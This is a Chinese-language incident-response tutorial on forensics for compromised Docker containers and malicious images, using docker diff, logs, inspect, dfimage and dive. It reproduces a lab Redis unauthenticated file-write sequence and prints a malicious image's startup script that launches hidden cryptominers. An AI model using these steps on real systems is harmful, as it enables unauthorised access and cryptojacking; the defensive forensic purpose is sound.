声明​

本文为笔者对实际容器安全事件的归纳,仅代表个人观点。

引子


定位初始入侵位置


首先要确认入侵是否发生在容器内,或者说只在容器内

场景:zabbix告警一个进程占用非常高,像是挖矿程序/DOS了

但是查看进程的PPID却发现是systemd,这种情况大概率是容器相关了

首先获取程序PID,然后查看对应进程的进程树是否父进程为containerd-shim

上图比较清晰的介绍了各项之间的逻辑关系,不同docker版本有些区别,具体视情况决定。

以docker为例,可以通过如下方式确认宿主机内的docker进程及对应的容器名

1
for i in $(docker container ls --format "{{.ID}}"); do docker inspect -f '{{.State.Pid}} {{.Name}}' $i; done

需要提醒的是,在生产环境可能有些输出进程号为0,这种不是真的PID为0,是此刻容器处于restarting状态。<br

了解环境基本信息

定位到对应的容器后,需要检查该容器的一些基本信息


检查容器对外开放端口,是否有根据经验即可判断的风险

1
docker ps #当前运行的容器、创建时间、运行状态、映射的端口

检查宿主机docker环境,比如是否docker deamon api对外开放,还是有很多运维因为种种原因可能做出这类配置的。


常见的容器逃逸checklist:

  • 是否挂载了敏感目录
  • 是否是特权容器
  • 宿主机内核版本是否在常见的逃逸漏洞影响范围

最后检查对应镜像的运行命令,不过多数都是docker-entrypoint.sh,最好有容器管理员侧的配合

再次确认容器在宿主机的PID

1
docker inspect -f '{{.State.Pid}}' <容器ID>

最后是确定当前节点使用的镜像仓库,如果使用公网仓库则需要排查是否存在被恶意拉取可能性,关于这点将在后面章节继续。

容器分析

保存容器现场

如果需要进行取证就应该先暂停处置等工作,第一步是确保现场的完整性。

1
2
docker commmit <容器ID>
docker checkpoint #需要开启实验性功能

因为一般跑容器的宿主机都是大内存机器,所以保存机器内存快照其实并不怎么方便。

场景:这里以redis容器空口令导致redis被写入私钥为例
环境搭建:使用vulhub环境模拟

使用redis-cli连接空口令的redis,并在tmp目录写入名为hack的文件

1
2
3
4
5
config set dir /tmp
set shell hacked
config set dbfilename hack
save
exit

容器的变更

入侵者在入侵容器后,做了什么变更,这个是比较关键的信息

1
docker diff <容器ID>
1
2
C /tmp
A /tmp/hack

类型解释如下

A 添加了文件或目录
D 文件或目录被删除
C 文件或目录已更改


查看文件时间(常见的容器基础镜像都不带ll命令)

1
2
3
4
5
$ docker exec -i <容器ID> ls /tmp -al
total 8
drwxrwxrwt 1 root root 31 Mar 6 02:46 .
drwxr-xr-x 1 root root 17 Mar 6 02:24 ..
-rw-r--r-- 1 redis redis 112 Mar 6 02:24 hack

不过生产环境噪音肯定非常大,需要一定安全知识、其他信息进行过滤

深入容器基本信息

1
2
3
4
5
docker info #docker引擎的相关信息
docker inspect -f <container id>
docker inspect --format="{{json .Mounts}}" <容器ID> | jq #目录在宿主机的具体挂载位置
docker inspect --format="{{json .NetworkSettings}}" <容器ID> | jq #查看网络信息
docker inspect 80d15c023c6d | grep com.docker.compose #查看docker-compose路径、镜像、

## 容器日志分析 docker logs 所收集的日志是只包含标准输出(STDOUT)与标准错误输出(STDERR),所以粒度可能是不够的。而且容器一旦重启,docker log便会丢失。

许多知名项目在移植到docker时,也考虑到了这点,以nginx的Dockerfile为例,就是直接将access.log和error.log 软链接到stdout和stderr。

1
2
ln -sf /dev/stdout /var/log/nginx/access.log
ln -sf /dev/stderr /var/log/nginx/error.log


2017年,Matt Stine在接受InfoQ采访时将Observability(可观测性)归纳为云原生的特征。在目前的CNCF中,可观测性体系的产品主要分为Monitoring监控、Logging日志 、Tracing调用链。
因此如果有外部日志服务器,那么直接到日志服务器进行检索即可,可能有更多的数据源、更专业的检索工具,可以更好的分析安全事件。本文主要讨论关于没有持久化日志的情况

继续分析上面的场景

1
docker logs <容器ID>
1
2
3
4
5
6
7
8
9
10
1:C 06 Mar 02:24:04.043 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1:C 06 Mar 02:24:04.043 # Redis version=4.0.14, bits=64, commit=00000000, modified=0, pid=1, just started
1:C 06 Mar 02:24:04.043 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1:M 06 Mar 02:24:04.044 * Running mode=standalone, port=6379.
1:M 06 Mar 02:24:04.044 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
1:M 06 Mar 02:24:04.044 # Server initialized
1:M 06 Mar 02:24:04.044 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1:M 06 Mar 02:24:04.044 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issueswith Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
1:M 06 Mar 02:24:04.044 * Ready to accept connections
1:M 06 Mar 02:24:33.332 * DB saved on disk


可以看到在06 Mar 02:24:33保存了一个DB

结合容器变更信息中,tmp目录下的文件时间,可以判断出该容器是在06 Mar 02:24被入侵,但是这个时间不完全对,因为容器的时区没有设置,date命令可以看到使用的是UTC时区

1
2
$docker exec -i <容器ID> date
Sun Mar 6 02:30:08 UTC 2022

因为容器启动时未配置时区,默认会使用UTC。
因为是UTC时区,所以就需要将时间+8小时即Mar 6 10:30:08

其他安全设备日志

这点不多谈,容器技术在设计时考虑了很多安全性,但是基础的安全建设、设备还是需要的。
需要注意的是厂商有无容器安全案例?对于K8S等环境,POD、Node间东西向的流量是否能收集?

镜像分析

假如容器是因为被投毒,所以造成的失陷,可以通过以下方式排查。当然,如果发生了项目文件泄露也可以分析镜像排查,比如是否有.git等。

首选确定是否使用了docker-compose构建?如果使用,docker-compose.yml文件内容是哪些?
直接使用docker inspect ,就可以看到docker-compose的路径

1
$docker inspect <容器ID> | grep com.docker.compose

镜像仓库

首先确定容器使用的镜像:是否使用了镜像仓库,除了直接问机器管理员还可以自己摸索(这点在攻击者角度也是一样的),直接通过docker info 命令查看即可。

不过,同样需要关注的是镜像仓库的凭据。和其他Linux软件一样,secret一般都在用户的环境变量,如$HOME/.docker/config.json,甚至openshift都可以通过该文件创建secret(也可以自定义的,参数是–config,且优先级更高)

1
2
3
$oc create secret generic dockerhub \
--from-file=.dockerconfigjson=<path/to/.docker/config.json> \
--type=kubernetes.io/dockerconfigjson

回归主线,查看以下json文件

1
$cat /root/.docker/config.json

192.168.xxxx.xxx:8888即是仓库对应的IP:Port

1
2
3
4
5
6
7
{
"auths": {
"192.168.xxxx.xxx:8888": {
"auth": "YWRtaW46SGFyYm9yMTIzNDU="
}
}
}

这里auth的value就是用户名:密码,可以直接base64解码

1
2
$echo "YWRtaW46SGFyYm9yMTIzNDU=" | base64 -d
admin:Harbor12345

除了其他机器失陷,导致镜像仓库凭据泄露,进而导致镜像被恶意拉取。当然也可能是harbor项目配置不当,比如配置成了public项目、registry错误配置或利用了harbor漏洞…

镜像扫描


新版本的docker已经和synk合作提供镜像扫描服务,当然也可以使用一些开源的镜像扫描工具比如
Trivy、Clair,或者是镜像仓库扫描器,比如新版本harbor就是默认集成了,其他的商业容器安全平台一般也有Adapter集成harbor用于扫描。

在扫描过程中可以发现一些应用漏洞(需要排除大量误报)+配置错误

镜像分析

在确保基础镜像的安全性后,分析镜像主要有两点:提取出镜像的构建过程和镜像构建过程中引用的文件


场景模拟:dockerhub上的一个挖矿镜像

1
docker pull hsww/xmrig-centos7:v6.12.2

镜像的构建过程

使用docker history

1
docker history --no-trunc hsww/xmrig-centos7:v6.12.2

效果如下,其实有点难理解,但是优点是有时间等信息

1
2
3
4
5
6
IMAGE                                                                     CREATED         CREATED BY                           SIZE      COMMENT
sha256:3960a79adeabfa493f9fb8e183808d291d48f01ed56218f8d3364518d2cd302a 9 months ago /bin/sh -c #(nop) ENTRYPOINT ["/usr/bin/xmrig"] 0B
<missing> 9 months ago /bin/sh -c #(nop) COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin 7.69MB
<missing> 15 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B
<missing> 15 months ago /bin/sh -c #(nop) LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00 0B
<missing> 15 months ago /bin/sh -c #(nop) ADD file:b3ebbe8bd304723d43b7b44a6d990cd657b63d93d6a2a9293983a30bfc1dfa53 in / 204MB

使用dfimage工具

1
2
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 hsww/xmrig-centos7:v6.12.2

提取出的信息如下

1
2
3
4
5
6
7
8
LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00
CMD ["/bin/bash"]
COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin
usr/
usr/bin/
usr/bin/xmrig

ENTRYPOINT ["/usr/bin/xmrig"]

然后把/usr/bin/xmrig文件复制出来分析即可

1
2
3
/usr/bin/xmrig
docker inspect hsww/xmrig-centos7:v6.12.2 #查看UpperDir目录,直接复制其中内容即可
docker inspect --format='{{.GraphDriver.Data.UpperDir}}' hsww/xmrig-centos7:v6.12.2

因为我这里使用的是默认的overlay2驱动,可以通过docker info查看当前使用的docker 存储驱动。

最下层是lower层,是只读/镜像层
upper是容器的读写层,采用了CoW(写时复制)机制,只有对文件进行修改才会将文件拷贝到upper层,之后所有的修改操作都会对upper层的副本进行修改
upper并列还有workdir层,它的作用是充当一个中间层的作用,每当对upper层里面的副本进行修改时,会先当到workdir,然后再从workdir移动upper层
最上层是mergedir,是一个统一图层,从mergedir可以看到lower,upper,workdir中所有数据的整合,整个容器展现出来的就是mergedir层.

1
2
3
4
5
$tree -l
.
└── usr
└── bin
└── xmrig

构建引用的文件


这里使用dockerhub上的docker72590/apache:latest进行分析

1
dfimage -sV=1.36 docker72590/apache:latest

解析出的Dockerfile文件为

1
2
3
4
5
CMD ["/bin/sh"]
/bin/sh
WORKDIR /home
CMD ["sh" "-c" "./.system \
&& tail -f /dev/null"]

可以看到其中的关键是/home/.system文件

1
docker inspect --format='{{.GraphDriver.Data.UpperDir}}' docker72590/apache:latest

但是目录下没有,可能在基础镜像时已经包含了这个内容,所以得看LowerDir

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$docker inspect --format='{{.GraphDriver.Data.LowerDir}}' docker72590/apache:latest
/var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff:/var/lib/docker/overlay2/79107e83796cd78d7477d8e0dec22dc363eb56e966d7a49e64858bf5937227e5/diff
cd /var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff
$tree -a
.
├── bin
│   ├── apache2
│   ├── httpd
│   └── httpd-crypto
├── home
│   └── .system
├── usr
│   └── share
│   └── .apache
│   └── ...
│   ├── apache4
│   ├── .dat
│   ├── httpd
│   ├── .httpd5.pid
│   └── .httpd6.pid
└── var
└── tmp
├── .apache
│   └── ...
│   └── httpd
└── .crypto
└── ...
├── .ddns
├── .ddns.pid
├── httpd-crypto
└── .stop.sh

所以在这里无法显示,也可以通过dive查看镜像构建过程引用的文件

1
2
3
4
docker pull wagoodman/dive #拉取dive镜像
docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
wagoodman/dive:latest docker72590/apache:latest

使用dive取证docker镜像.png


注意这里的层ID

提取镜像

1
docker save docker72590/apache:latest -o apache.bin

使用binwalk进行提取,其实也可以直接解压,这里我直接解压

1
2
3
docker save docker72590/apache:latest -o apache.tar
mkdir apache/
tar xvf apache.tar -C apache/

根据dive的信息,直接看对应的一层,找到.system,有个经验技巧就是镜像第一层会在最上面

1
2
3
4
5
$ls a40defa7c3de20011509b2acfc6d12137efcf033df032bc34c67f04582c88a53/home -alh
total 4.0K
drwxr-xr-x. 2 root root 21 Dec 6 16:57 .
drwxr-xr-x. 6 root root 95 Mar 6 03:22 ..
-rwxr-xr-x. 1 1000 1000 466 Nov 23 11:33 .system


因为启动方式是sh启动,所以可以查看文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#/bin/bash
export LC_ALL=C.UTF-8
export LANG=C.UTF-8
export DOCKER_API_VERSION=1.24


ping -c 3 -w 5 google.com 2>/dev/null 1>/dev/null
if [ $? != 0 ];then
sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories
fi
mkdir -p /var/tmp/.apache/...

apk update
apk add redis docker jq libpcap-dev openrc curl --no-cache

cd /var/tmp/.crypto/...
./httpd-crypto

cd /var/tmp/.apache/...
./httpd

cd /usr/share/.apache/...
sleep 60
./httpd

这里就不继续分析了

处置手段

处置第一步应该是下线相关应用/修复应用风险,而不是这些措施,不过有时候有用。

比如K8S的Cluster Autoscaler和Horizontal Pod Autoscaler等功能,假如频繁性的在一个node上阻断操作,master可能判定该node异常,因此将pod调度到其他节点,这种情况甚至可能对于攻击者毫无感知,同样的exp打过来效果可能都是一样的。

但是对于防御者来说,大大增加了处置成本,即不停的在不同node进行处置,而且需要K8S管理员频繁配合,确定POD调度的node。

下面提到的方式主要是短时止血的思路,需要结合应用部署实施的实际情况决定。


暂停容器

1
2
docker pause <容器ID> 
docker unpause <容器ID> #取消暂停容器

删除容器,除非迫不得已

1
docker rm -f <容器ID>

小结

容器安全事件排查思维导图.png